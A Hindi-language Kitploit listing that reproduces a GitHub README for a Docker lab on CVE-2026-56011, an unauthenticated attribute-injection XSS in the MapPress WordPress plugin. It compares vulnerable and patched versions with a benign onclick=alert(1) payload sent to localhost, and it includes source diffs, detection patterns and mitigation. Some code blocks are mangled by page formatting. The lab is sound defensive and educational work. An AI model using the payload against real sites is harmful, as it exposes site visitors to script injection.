Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-56011-Lab — Docker-आधारित प्रयोगशाला जो CVE-2026-56011 को पुनरुत्पादित और मान्य करने के लिए है, जो WordPress के लिए MapPress Maps में एक अप्रमाणित XSS भेद्यता है, जिसमें असुरक्षित और पैच किए गए तुलनात्मक लक्ष्य शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/rootdirective-sec/cve-2026-56011-lab
भेद्यता विश्लेषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubrootdirective-sec/cve-2026-56011-lab

CVE-2026-56011-Lab

Docker-आधारित प्रयोगशाला जो CVE-2026-56011 को पुनरुत्पादित और मान्य करने के लिए है, जो WordPress के लिए MapPress Maps में एक अप्रमाणित XSS भेद्यता है, जिसमें असुरक्षित और पैच किए गए तुलनात्मक लक्ष्य शामिल हैं।

रिपॉजिटरी देखें
92 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-56011 - MapPress Maps for WordPress: iframe मानचित्र रेंडरिंग में अप्रमाणित XSS

कार्यकारी सारांश

इस रिपॉजिटरी में CVE-2026-56011 को प्रतिलिपित और मान्य करने के लिए एक स्थानीय Docker लैब शामिल है, जो MapPress Maps for WordPress को प्रभावित करने वाली एक अप्रमाणित क्रॉस-साइट स्क्रिप्टिंग भेद्यता है।

MapPress Maps for WordPress एक WordPress प्लगइन है जो WordPress पेजों और पोस्टों में मानचित्र प्रदर्शित करने के लिए उपयोग किया जाता है। कमजोर व्यवहार iframe मानचित्र रेंडरिंग पथ को प्रभावित करता है जो mappress=embed अनुरोध पैरामीटर के माध्यम से पहुंच योग्य है।

यह लैब दो MapPress संस्करणों की तुलना करता है:

\r\n<mappress-map id="" . esc_attr($name) . "" {$atts}>\r\n$pois\r\n\r\n"; \r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n\r\n";
सेवाMapPress संस्करणउद्देश्यURL
vuln2.97.3तुलना के लिए कमजोर लक्ष्यhttp://localhost:8081
patched2.97.4तुलना के लिए पैच किया गया लक्ष्यhttp://localhost:8082

इस स्थानीय लैब में प्रदर्शित मान्यकरण पथ है:```text Unauthenticated browser request → GET /?mappress=embed → request supplies a crafted name value → vulnerable target renders name into an unquoted id attribute → injected onclick handler becomes a standalone HTML attribute → clicking the rendered MapPress component triggers alert(1) → patched target keeps the payload inside a quoted and escaped id attribute → clicking the rendered component does not trigger alert(1)

root@kitploit:~
असुरक्षित लक्ष्य इस मैन्युअल ब्राउज़र URL का उपयोग करता है:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

अपेक्षित संवेदनशील परिणाम:```text Click on the rendered MapPress component → alert(1) pops up

root@kitploit:~
पैच किया गया लक्ष्य MapPress 2.97.4 के विरुद्ध उसी पेलोड का उपयोग करता है:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

अपेक्षित पैच परिणाम:```text Click on the rendered MapPress component → no alert appears

root@kitploit:~
यह लैब जानबूझकर केवल मैन्युअल ब्राउज़र सत्यापन का उपयोग करती है। इसमें PoC स्क्रिप्ट, ब्राउज़र ऑटोमेशन, क्रेडेंशियल चोरी, बाहरी कॉलबैक, मैलवेयर, पर्सिस्टेंस, पोस्ट-एक्सप्लॉइटेशन गतिविधि, या बाहरी सिस्टम के विरुद्ध हमले शामिल नहीं हैं।

## सत्यापित तथ्य

| दावा                                                                                     | साक्ष्य                                                                                                | इस लैब में कैसे सत्यापित करें                                                             |
| ---------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ |
| CVE-2026-56011, वर्डप्रेस के लिए MapPress Maps को प्रभावित करता है।                    | सार्वजनिक भेद्यता सलाहकार MapPress Maps for WordPress को प्रभावित वर्डप्रेस प्लगइन के रूप में पहचानते हैं।            | संदर्भ अनुभाग की समीक्षा करें और दोनों Docker लक्ष्यों में स्थापित प्लगइन का निरीक्षण करें।         |
| इस लैब में कमजोर तुलना संस्करण MapPress 2.97.3 है।                                      | `vuln` सेवा `MAPPRESS_VERSION: 2.97.3` का उपयोग करके प्लगइन बनाती है।                                 | `docker-compose.yml` और `vuln/Dockerfile` का निरीक्षण करें।                                           |
| इस लैब में पैच किया गया तुलना संस्करण MapPress 2.97.4 है।                              | `patched` सेवा `MAPPRESS_VERSION: 2.97.4` का उपयोग करके प्लगइन बनाती है।                              | `docker-compose.yml` और `patched/Dockerfile` का निरीक्षण करें।                                        |
| MapPress 2.97.4 में प्रासंगिक iframe एस्केपिंग फिक्स पेश किया गया।                     | आधिकारिक प्लगइन चेंजलॉग 2.97.4 के लिए कहता है `Added: escape in iframe`.                            | आधिकारिक वर्डप्रेस प्लगइन चेंजलॉग की समीक्षा करें और कमजोर तथा पैच किए गए स्रोत की तुलना करें। |
| कमजोर स्रोत बिना उद्धरण के मानचित्र नाम को वेब घटक `id` में प्रस्तुत करता है।          | 2.97.3 में, `mappress_map.php` प्रस्तुत करता है `<mappress-map id={$name} ...>`।                      | 2.97.3 स्रोत की 2.97.4 स्रोत से तुलना करें।                                             |
| पैच किया गया स्रोत `id` मान को उद्धृत और एस्केप करता है।                              | 2.97.4 में, `mappress_map.php` प्रस्तुत करता है `id="` के साथ `esc_attr($name)`।                      | 2.97.3 और 2.97.4 के बीच पैच अंतर (diff) की तुलना करें।                                             |
| बिना प्रमाणीकरण के iframe पथ तक पहुंचा जा सकता है।                                    | MapPress `template_redirect` पंजीकृत करता है जब `$_GET['mappress']` मौजूद होता है।                       | बिना लॉग इन किए ब्राउज़र से `/?mappress=embed...` का अनुरोध करें।                              |
| iframe पथ अनुरोध से मानचित्र विशेषताओं को पढ़ता है।                                    | `template_redirect()` `$_GET` को मानचित्र तर्कों में मैप करता है और iframe रेंडरर को कॉल करता है।                    | `mappress.php` का निरीक्षण करें और मैन्युअल URL को पुन: उत्पन्न करें।                                          |
| कमजोर लक्ष्य `name` के माध्यम से विशेषता इंजेक्शन की अनुमति देता है।                  | तैयार किया गया नाम मान बिना उद्धरण वाले `id` विशेषता से बाहर निकल सकता है और `onclick=alert(1)` बन सकता है। | कमजोर मैन्युअल URL खोलें और रेंडर किए गए MapPress घटक पर क्लिक करें।                     |
| पैच किया गया लक्ष्य परीक्षण की गई विशेषता इंजेक्शन व्यवहार को अवरुद्ध करता है।       | पैच किया गया आउटपुट पूरे पेलोड को उद्धृत `id` विशेषता के अंदर रखता है।                            | पैच किए गए मैन्युअल URL खोलें और रेंडर किए गए MapPress घटक पर क्लिक करें।                        |

## धारणाएँ और अज्ञात

यह लैब MapPress 2.97.3 को कमजोर तुलना लक्ष्य के रूप में उपयोग करती है क्योंकि सार्वजनिक सलाहकार 2.97.3 तक के संस्करणों को प्रभावित बताते हैं, और स्रोत अंतर उस संस्करण में कमजोर बिना उद्धरण वाली विशेषता रेंडरिंग दिखाता है।

यह लैब MapPress 2.97.4 को पैच किए गए तुलना लक्ष्य के रूप में उपयोग करती है क्योंकि सार्वजनिक सलाहकार 2.97.4 को फिक्स्ड संस्करण के रूप में पहचानते हैं, और आधिकारिक चेंजलॉग कहता है कि iframe पथ में एस्केपिंग जोड़ी गई थी।

परीक्षण किया गया कमजोर व्यवहार अप्रमाणित iframe रेंडरिंग पथ है:```text
GET /?mappress=embed&name=<crafted-value>

यह प्रयोगशाला एक हानिरहित अलर्ट पेलोड के मैनुअल ब्राउज़र निष्पादन पर केंद्रित है:```text name=cve56011 onclick=alert(1)

root@kitploit:~
प्रयोगशाला संग्रहित वितरण श्रृंखला साबित करने का प्रयास नहीं करती है। कुछ सार्वजनिक सलाहकार वर्गीकरण इस कमजोरी को संग्रहित XSS के रूप में वर्गीकृत करते हैं। यह रिपॉजिटरी स्रोत-पुष्टि किए गए iframe रेंडरिंग सिंक और कमजोर-बनाम-पैच किए गए व्यवहार पर केंद्रित है, जिसे अप्रमाणित `mappress=embed` रूट के माध्यम से स्थानीय रूप से पुन: प्रस्तुत किया जा सकता है।

प्रयोगशाला प्रदर्शित नहीं करती है:

* संग्रहित पेलोड स्थिरता,
* वर्डप्रेस खाता समझौता,
* एडमिन सत्र चोरी,
* नॉन्स चोरी,
* बाहरी कॉलबैक,
* ब्लाइंड XSS संग्रह,
* क्रेडेंशियल चोरी,
* डेटाबेस डंपिंग,
* मैलवेयर,
* स्थिरता,
* या गैर-लैब सिस्टम के खिलाफ हमले।

मैनुअल ब्राउज़र सत्यापन सुरक्षा-संबंधित रेंडरिंग अंतर को साबित करता है:```text
MapPress 2.97.3:
  crafted name value becomes executable onclick attribute

MapPress 2.97.4:
  crafted name value remains inside the quoted id attribute

मूल कारण सारांश

CVE-2026-56011 का मूल कारण मैप name मान के लिए गलत आउटपुट एन्कोडिंग है जब MapPress iframe मैप आउटपुट पथ के अंदर एक वेब कम्पोनेंट रेंडर करता है।

कमजोर कोड पथ अनुरोध से मैप रेंडरिंग एट्रिब्यूट्स स्वीकार करता है और अंततः एक कस्टम HTML एलिमेंट रेंडर करता है:```html <mappress-map ...>

root@kitploit:~
MapPress 2.97.3 में, मानचित्र का नाम सीधे `id` एट्रिब्यूट में बिना उद्धरण और बिना एट्रिब्यूट-संदर्भ एस्केपिंग के डाला जाता है:```php
return "<div></div>\r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n</mappress-map>\r\n";

यह असुरक्षित है क्योंकि मान का उपयोग HTML विशेषता संदर्भ में किया जाता है। यदि हमलावर name को नियंत्रित करता है, तो एक स्थान वाला मान इच्छित id मान को समाप्त कर सकता है और एक नई विशेषता शुरू कर सकता है।

कमजोर व्यवहार को इस प्रकार संक्षेपित किया जा सकता है:```text Attacker sends unauthenticated iframe request → name = cve56011 onclick=alert(1) → MapPress sanitizes the value as text → sanitized text is still unsafe for an unquoted HTML attribute → renderer outputs id=cve56011 onclick=alert(1) → onclick becomes a standalone event handler attribute → user clicks the rendered component → JavaScript executes

root@kitploit:~
महत्वपूर्ण बात यह है कि सामान्य टेक्स्ट स्वच्छता सही आउटपुट एस्केपिंग के समान नहीं है।

कमजोर कोड मैप नाम पर `sanitize_text_field()` का उपयोग करता है, लेकिन यह बिना उद्धरण के HTML विशेषता के लिए मान को सुरक्षित नहीं बनाता है। HTML विशेषताओं में स्थान सार्थक रहते हैं क्योंकि वे एक विशेषता को दूसरे से अलग करते हैं।

सुरक्षा समस्या इसलिए है:```text
User-controlled input
+ unquoted HTML attribute context
+ missing esc_attr()
= attribute injection and XSS

पैच किए गए संस्करण में रेंडरिंग को बदलकर id मान को quote और escape किया जाता है:```php return "

root@kitploit:~
पैच किए गए व्यवहार को इस प्रकार संक्षेपित किया जा सकता है:```text
Attacker sends the same crafted name value
→ MapPress renders id="cve56011 onclick=alert(1)"
→ onclick remains text inside the id value
→ no standalone event handler attribute is created
→ clicking the component does not execute alert(1)

सुरक्षा का सबक यह है:```text Sanitize on input if needed, but always escape on output for the exact output context. For HTML attributes in WordPress, use esc_attr() and quote attribute values.

root@kitploit:~
## Source Code Analysis

MapPress 2.97.3 और MapPress 2.97.4 की तुलना करके स्रोत-स्तरीय समस्या की पुष्टि की गई।

प्राथमिक रेंडरिंग सिंक निम्नलिखित में है:```text
mappress_map.php

असुरक्षित संस्करण name मान को एक बिना उद्धरण के id विशेषता के रूप में प्रस्तुत करता है:```php $name = (isset($vars['name']) ? $vars['name'] : 'noname'); return "

root@kitploit:~
पैच किया गया संस्करण विशेषता को उद्धृत करता है और मान को एस्केप करता है:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "<div></div>\r\n<mappress-map id=\"" . esc_attr($name) . "\" {$atts}>\r\n$pois\r\n</mappress-map>\r\n";

जब अनुरोध में mappress क्वेरी पैरामीटर होता है तो iframe रूट पंजीकृत होता है:```php if (isset($_GET['mappress'])) add_action('template_redirect', array(CLASS, 'template_redirect'));

root@kitploit:~
iframe अनुरोध हैंडलर क्वेरी पैरामीटर को मैप आर्गुमेंट्स में मैप करता है:```php
$args = array_map(function($arg) {
    if ($arg  == 'true')
        return true;
    if ($arg == 'false')
        return false;
    return $arg;
}, $_GET);

फिर हैंडलर एक मैप ऑब्जेक्ट बनाता या लोड करता है और इसे अनुरोध तर्कों के साथ अपडेट करता है:```php $map = new Mappress_Map(); $map->update($args); $map->layout = 'left'; echo self::get_iframe($map); die();

root@kitploit:~
iframe सहायक मानचित्र सामग्री प्रस्तुत करता है:```php
$content = $map->display(null, true);

The display() पथ एक प्रदत्त गैर-रिक्त name मान को संरक्षित करता है:```php if (empty($this->name)) { $this->name = (defined('DOING_AJAX') && DOING_AJAX) ? "mapp" . uniqid() : "mapp$div"; $div++; }

root@kitploit:~
इसका मतलब है कि अनुरोध-आपूर्ति `name` मान असुरक्षित रेंडरिंग सिंक तक पहुंच सकता है। सुरक्षा-संबंधित प्रवाह है:```text
GET parameter name
→ $_GET
→ template_redirect()
→ $map->update($args)
→ $this->name
→ display()
→ display_web_component()
→ to_html()
→ <mappress-map id={$name} ...>

उत्पन्न मानचित्र विशेषताओं के शेष भाग को एक सहायक के माध्यम से संसाधित किया जाता है जो विशेषताओं को उद्धृत करता है। कमजोर id रेंडरिंग विशेष है क्योंकि name को बाहर निकाला जाता है और अलग से रेंडर किया जाता है।

यह कमजोर सतह को संकीर्ण और मान्य करने में आसान बनाता है:```text Only the web component id rendering needs to be compared. The vulnerable version renders id without quotes. The patched version renders id with quotes and esc_attr().

root@kitploit:~
## स्रोत पैच सारांश

MapPress 2.97.4, जनरेट किए गए `<mappress-map>` तत्व के `id` विशेषता मान को उद्धृत और एस्केप करके कमजोर iframe रेंडरिंग व्यवहार को ठीक करता है।

कमजोर आउटपुट पैटर्न है:```html
<mappress-map id=cve56011 onclick=alert(1) ...>

इस आउटपुट में, ब्राउज़र पार्स करता है:```text id = cve56011 onclick = alert(1)

root@kitploit:~
पैच किया गया आउटपुट पैटर्न है:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>

इस आउटपुट में, ब्राउज़र पार्स करता है:```text id = cve56011 onclick=alert(1)

root@kitploit:~
कोई स्वतंत्र `onclick` विशेषता नहीं बनाई गई है।

सुरक्षा-संबंधित पैच है:```text
Before:
  id={$name}

After:
  id="<escaped name>"

स्रोत-स्तर पर सुधार छोटा है, लेकिन सुरक्षा प्रभाव महत्वपूर्ण है क्योंकि प्रभावित पथ iframe embed endpoint के माध्यम से बिना प्रमाणीकरण के पहुँचा जा सकता है।

यह लैब स्रोत समीक्षा और रनटाइम सत्यापन को अलग रखता है:```text Source patch review: explains why the vulnerable version can create an executable event handler attribute.

Manual browser validation: proves that the vulnerable target can execute alert(1) and the patched target does not.

root@kitploit:~
## लैब आर्किटेक्चर

लैब डॉकर कंपोज़ के माध्यम से दो पृथक वर्डप्रेस लक्ष्य चलाता है।```text
.
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── vuln/
│   └── Dockerfile
├── README.md
└── .gitignore

जानबूझकर poc/ निर्देशिका नहीं है। सत्यापन मैनुअल और ब्राउज़र-आधारित है।

दो WordPress सेवाएँ अलग-अलग डेटाबेस और अलग-अलग WordPress वॉल्यूम का उपयोग करती हैं:

ServiceComponentVersion / Role
db-vulnMariaDBकमजोर WordPress के लिए डेटाबेस
db-patchedMariaDBपैच किए गए WordPress के लिए डेटाबेस
vulnWordPressMapPress 2.97.3 के साथ कमजोर लक्ष्य
patchedWordPressMapPress 2.97.4 के साथ पैच किया गया लक्ष्य
wpcli-vulnWP-CLIWordPress स्थापित करता है और प्लगइन सक्रिय करता है
wpcli-patchedWP-CLIWordPress स्थापित करता है और प्लगइन सक्रिय करता है

डिफ़ॉल्ट रूप से उजागर सेवाएँ:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082

root@kitploit:~
The lab uses pinned MapPress plugin versions:

| Target                | MapPress version | Expected behavior                                        |
| --------------------- | ---------------: | -------------------------------------------------------- |
| http://localhost:8081 |           2.97.3 | निर्मित घटक पर क्लिक करने से alert(1) ट्रिगर होता है          |
| http://localhost:8082 |           2.97.4 | निर्मित घटक पर क्लिक करने से alert(1) ट्रिगर नहीं होता है      |

Docker बिल्ड प्रत्येक लक्ष्य के लिए आधिकारिक WordPress प्लगइन डाउनलोड एंडपॉइंट से सटीक प्लगइन ZIP डाउनलोड करता है:```text
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip

WP-CLI सेवाएँ लैब स्टार्टअप के दौरान स्वचालित रूप से चलती हैं। वे प्रत्येक लक्ष्य में WordPress स्थापित करती हैं और MapPress को सक्रिय करती हैं।

लैब कमजोर MapPress रूट को नहीं बनाता या संशोधित नहीं करता। यह रूट प्रत्येक लक्ष्य में स्थापित वास्तविक MapPress प्लगइन संस्करण द्वारा प्रदान किया जाता है।

आवश्यकताएँ

  • Docker Desktop या Docker Engine
  • Docker Compose v2
  • पहली Docker इमेज पुल और प्लगइन डाउनलोड के दौरान इंटरनेट पहुँच
  • मैन्युअल अलर्ट सत्यापन के लिए एक स्थानीय ब्राउज़र

कोई Python निर्भरता आवश्यक नहीं है।

कोई PoC स्क्रिप्ट आवश्यक नहीं है।

मैन्युअल XSS सत्यापन के लिए कोई WordPress लॉगिन आवश्यक नहीं है।

त्वरित आरंभ

लैब को साफ स्थिति से शुरू करें:```bash docker compose down -v --remove-orphans docker compose up -d --build

root@kitploit:~
सेवा स्थिति जांचें:```bash
docker compose ps

अपेक्षित चल रही सेवाएँ:```text db-vuln db-patched vuln patched

root@kitploit:~
अपेक्षित उजागर लक्ष्य:```text
http://localhost:8081
http://localhost:8082

जाँच करें कि WordPress स्थापना और प्लगइन सक्रियण पूर्ण हुआ:```bash docker compose logs wpcli-vuln wpcli-patched

root@kitploit:~
अपेक्षित सेटअप संदेश:```text
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
vuln setup complete

Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
patched setup complete

सेटअप पूरा होने के बाद, WordPress लॉगिन पेज को HTTP 200 लौटाना चाहिए:```bash curl -i http://localhost:8081/wp-login.php | head curl -i http://localhost:8082/wp-login.php | head

root@kitploit:~
यदि रूट पेज अस्थायी रूप से `/wp-admin/install.php` पर रीडायरेक्ट करता है, तो WP-CLI सेटअप अभी भी पूरा हो रहा हो सकता है। तब तक प्रतीक्षा करें जब तक `wpcli-vuln` और `wpcli-patched` लॉग सेटअप पूर्ण होने के संदेश न दिखाएँ, फिर पुनः प्रयास करें।

## मैन्युअल अलर्ट XSS सत्यापन

यह लैब केवल मैन्युअल ब्राउज़र सत्यापन का उपयोग करती है।

कोई PoC स्क्रिप्ट शामिल नहीं है।

कोई लॉगिन आवश्यक नहीं है।

### असुरक्षित लक्ष्य

इस URL को ब्राउज़र में खोलें:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

रेंडर किए गए MapPress घटक पर क्लिक करें।

अपेक्षित कमजोर परिणाम:```text alert(1) pops up

root@kitploit:~
सुरक्षा अर्थ:```text
The crafted name value escaped the intended id attribute value and became a standalone onclick event handler.

असुरक्षित ब्राउज़र-पार्स किया गया व्यवहार इसके समतुल्य है:```html <mappress-map id=cve56011 onclick=alert(1) ...>

root@kitploit:~
ब्राउज़र इसे इस प्रकार मानता है:```text
id = cve56011
onclick = alert(1)

जब कंपोनेंट पर क्लिक किया जाता है, तो इवेंट हैंडलर चलता है।

पैच किया गया लक्ष्य

इस URL को ब्राउज़र में खोलें:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

root@kitploit:~
प्रस्तुत MapPress घटक पर क्लिक करें।

अपेक्षित पैच किया गया परिणाम:```text
No alert appears.

सुरक्षा अर्थ:```text The crafted onclick payload is kept inside the quoted id attribute and does not become a standalone event handler.

root@kitploit:~
पैच किए गए ब्राउज़र-पार्स किए गए व्यवहार इसके बराबर है:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>

ब्राउज़र इसे इस रूप में मानता है:```text id = cve56011 onclick=alert(1)

root@kitploit:~
कोई निष्पादन योग्य `onclick` गुण नहीं बनाया गया है।

## अपेक्षित परिणाम

### संवेदनशील लक्ष्य

मैन्युअल ब्राउज़र URL:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

रेंडर किए गए घटक पर क्लिक करने के बाद अपेक्षित परिणाम:```text alert(1) pops up

root@kitploit:~
अपेक्षित वर्गीकरण:```text
VULNERABLE_BEHAVIOR_OBSERVED

महत्वपूर्ण कमजोर संकेत है:```text MapPress 2.97.3

  • unauthenticated mappress=embed request
  • crafted name parameter
  • onclick becomes standalone attribute
  • browser executes alert(1) after click
root@kitploit:~
### पैच किया गया लक्ष्य

मैन्युअल ब्राउज़र URL:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

प्रस्तुत घटक पर क्लिक करने के बाद अपेक्षित परिणाम:```text No alert appears.

root@kitploit:~
अपेक्षित वर्गीकरण:```text
BLOCKED_BEHAVIOR_OBSERVED

महत्वपूर्ण पैच किया गया संकेत है:```text MapPress 2.97.4

  • same unauthenticated mappress=embed request
  • same crafted name parameter
  • payload remains inside quoted id attribute
  • no standalone onclick attribute
  • no alert after click
root@kitploit:~
## सत्यापन कैसे काम करता है

मैन्युअल सत्यापन ब्राउज़र अनुरोध को MapPress iframe रेंडरिंग पथ पर भेजता है:```text
/?mappress=embed

अनुरोध में एक विशेष रूप से तैयार किया गया name मान शामिल है:```text cve56011 onclick=alert(1)

root@kitploit:~
पूर्ण संवेदनशील अनुरोध है:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

पूर्ण पैच किया गया अनुरोध है:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

root@kitploit:~
MapPress 2.97.3 में, `name` मान को एक बिना उद्धरण के `id` विशेषता में डाला जाता है:```html
<mappress-map id=cve56011 onclick=alert(1) ...>

क्योंकि विशेषता अनुद्धृत है, cve56011 के बाद का स्थान एक नई विशेषता शुरू करता है।

ब्राउज़र आउटपुट की व्याख्या इस प्रकार करता है:```text id="cve56011" onclick="alert(1)"

root@kitploit:~
जब रेंडर किया गया घटक क्लिक किया जाता है, तो इंजेक्टेड इवेंट हैंडलर निष्पादित होता है।

MapPress 2.97.4 में, वही मान एस्केप और कोट किया जाता है:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>

ब्राउज़र पूरे पेलोड को एक एकल id मान के रूप में व्याख्या करता है।

कोई इवेंट हैंडलर नहीं बनाया गया है।

सत्यापन जानबूझकर मैन्युअल है क्योंकि लक्ष्य सीधे ब्राउज़र-दृश्यमान XSS व्यवहार दिखाना है:```text vulnerable target → click → alert(1)

patched target → click → no alert

root@kitploit:~
## मैन्युअल ब्राउज़र पुनरुत्पादन

लैब शुरू करें:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

सेटअप पूरा होने तक प्रतीक्षा करें:```bash docker compose logs wpcli-vuln wpcli-patched

root@kitploit:~
अपेक्षित सेटअप पूर्णता:```text
vuln setup complete
patched setup complete

असुरक्षित लक्ष्य खोलें:```text http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

root@kitploit:~
रेंडर किए गए MapPress घटक पर क्लिक करें।

अपेक्षित परिणाम:```text
alert(1)

पैच किए गए लक्ष्य को खोलें:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

root@kitploit:~
प्रस्तुत MapPress घटक पर क्लिक करें।

अपेक्षित परिणाम:```text
No alert

पोर्टफोलियो लेखन के लिए अनुशंसित स्क्रीनशॉट साक्ष्य:```text

  1. docker compose ps showing both targets running
  2. wpcli logs showing WordPress installed and MapPress activated
  3. vulnerable browser page with alert(1)
  4. patched browser page after clicking with no alert
  5. source diff showing id={$name} changed to id=" . esc_attr($name) . "
root@kitploit:~
## प्रभाव

CVE-2026-56011 सुरक्षा-संवेदनशील है क्योंकि एक अप्रमाणित हमलावर एक MapPress iframe URL बना सकता है जो प्रस्तुत मैप घटक में जावास्क्रिप्ट इंजेक्ट करता है।

संभावित वास्तविक-दुनिया का प्रभाव इस बात पर निर्भर करता है कि दुर्भावनापूर्ण URL कैसे वितरित किया जाता है और कौन सा उपयोगकर्ता इसे खोलता है।

संभावित प्रभाव में शामिल हो सकते हैं:

* पीड़ित के ब्राउज़र में हमलावर-नियंत्रित जावास्क्रिप्ट का निष्पादन,
* प्रभावित WordPress ओरिजिन के अंदर फ़िशिंग या UI हेरफेर,
* समान-मूल के गैर-HttpOnly डेटा तक पहुंच,
* पीड़ित के रूप में कार्य किए जाने की संभावना यदि अतिरिक्त एप्लिकेशन शर्तें इसकी अनुमति देती हैं,
* CSRF टोकन या गैर-सुरक्षित पेज डेटा की चोरी,
* और विश्वसनीय WordPress साइट संदर्भ का दुरुपयोग।

यह लैब केवल एक हानिरहित स्थानीय अलर्ट पेलोड प्रदर्शित करता है:```text
onclick=alert(1)

यह लैब सत्र चोरी, क्रेडेंशियल चोरी, एडमिन खाता अधिग्रहण, दुर्भावनापूर्ण बाहरी जावास्क्रिप्ट लोडिंग, ब्लाइंड XSS संग्रह, या सार्वजनिक WordPress साइटों पर हमलों का प्रदर्शन नहीं करता है।

उत्पादन में व्यावहारिक जोखिम निम्न पर निर्भर करता है:

  • क्या प्रभावित MapPress संस्करण स्थापित है,
  • क्या कमजोर iframe एंडपॉइंट तक पहुंचा जा सकता है,
  • क्या पीड़ितों को एक क्राफ्टेड URL खोलने के लिए राजी किया जा सकता है,
  • पीड़ित के पास WordPress साइट में क्या विशेषाधिकार हैं,
  • ब्राउज़र सुरक्षा,
  • कुकी फ़्लैग,
  • कंटेंट सिक्योरिटी पॉलिसी,
  • और अन्य साइट-विशिष्ट नियंत्रण।

पहचान और निगरानी

संभावित संकेतकों में MapPress iframe रेंडरिंग पथ के अनुरोध शामिल हैं:```text GET /?mappress=embed

root@kitploit:~
संदिग्ध क्वेरी पैरामीटर `name` पैरामीटर में जावास्क्रिप्ट-संबंधित स्ट्रिंग्स शामिल कर सकते हैं:```text
name=...onclick...
name=...onmouseover...
name=...onfocus...
name=...alert...
name=...script...
name=...javascript...

उच्च-संकेत पहचान विचार:```text HTTP request contains: mappress=embed AND name parameter contains an event handler pattern such as on*=

root@kitploit:~
संदिग्ध अनुरोध का उदाहरण:```text
GET /?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5&center=0%2C0

समीक्षा करने के लिए संभावित वेब सर्वर लॉग या टेलीमेट्री:

  • अनुरोध पथ और क्वेरी स्ट्रिंग,
  • mappress=embed अनुरोध,
  • संदिग्ध name मान,
  • URL-एन्कोडेड ईवेंट हैंडलर,
  • बाहरी रेफरर्स से अनुरोध,
  • iframe एम्बेड अनुरोधों में स्पाइक्स,
  • WordPress एक्सेस लॉग,
  • रिवर्स प्रॉक्सी लॉग,
  • XSS पेलोड के लिए WAF अलर्ट,
  • और मैप एम्बेड एंडपॉइंट पर असामान्य ट्रैफ़िक।

अनुशंसित निगरानी क्रियाएँ:

  • mappress=embed के लिए एक्सेस लॉग की समीक्षा करें।
  • क्वेरी स्ट्रिंग में ईवेंट-हैंडलर पैटर्न खोजें।
  • एन्कोडेड पेलोड जैसे %20onclick%3D खोजें।
  • संदिग्ध name पैरामीटर मानों पर सतर्क रहें।
  • जांचें कि क्या प्रभावित MapPress संस्करण स्थापित हैं।
  • पुष्टि करें कि प्लगइन 2.97.4 या बाद के संस्करण में अपडेट है।
  • WAF ब्लॉक को पैचिंग के विकल्प के रूप में नहीं, बल्कि अस्थायी नियंत्रण मानें।

शमन और पैच नोट्स

WordPress के लिए MapPress Maps को संस्करण 2.97.4 या उसके बाद के संस्करण में अपग्रेड करें।

संबंधित पैच iframe मैप आउटपुट को बदलता है ताकि जनरेटेड वेब कंपोनेंट id विशेषता को उद्धृत और एस्केप किया जाए।

सुरक्षा-संबंधित व्यवहार:```text Before: id={$name}

After: id=""

root@kitploit:~
अनुशंसित शमन कदम:

* MapPress Maps for WordPress को 2.97.4 या उसके बाद के संस्करण में अपग्रेड करें।
* प्रयोगशाला तुलना संस्करण पर रुकने के बजाय नवीनतम उपलब्ध प्लगइन संस्करण को प्राथमिकता दें।
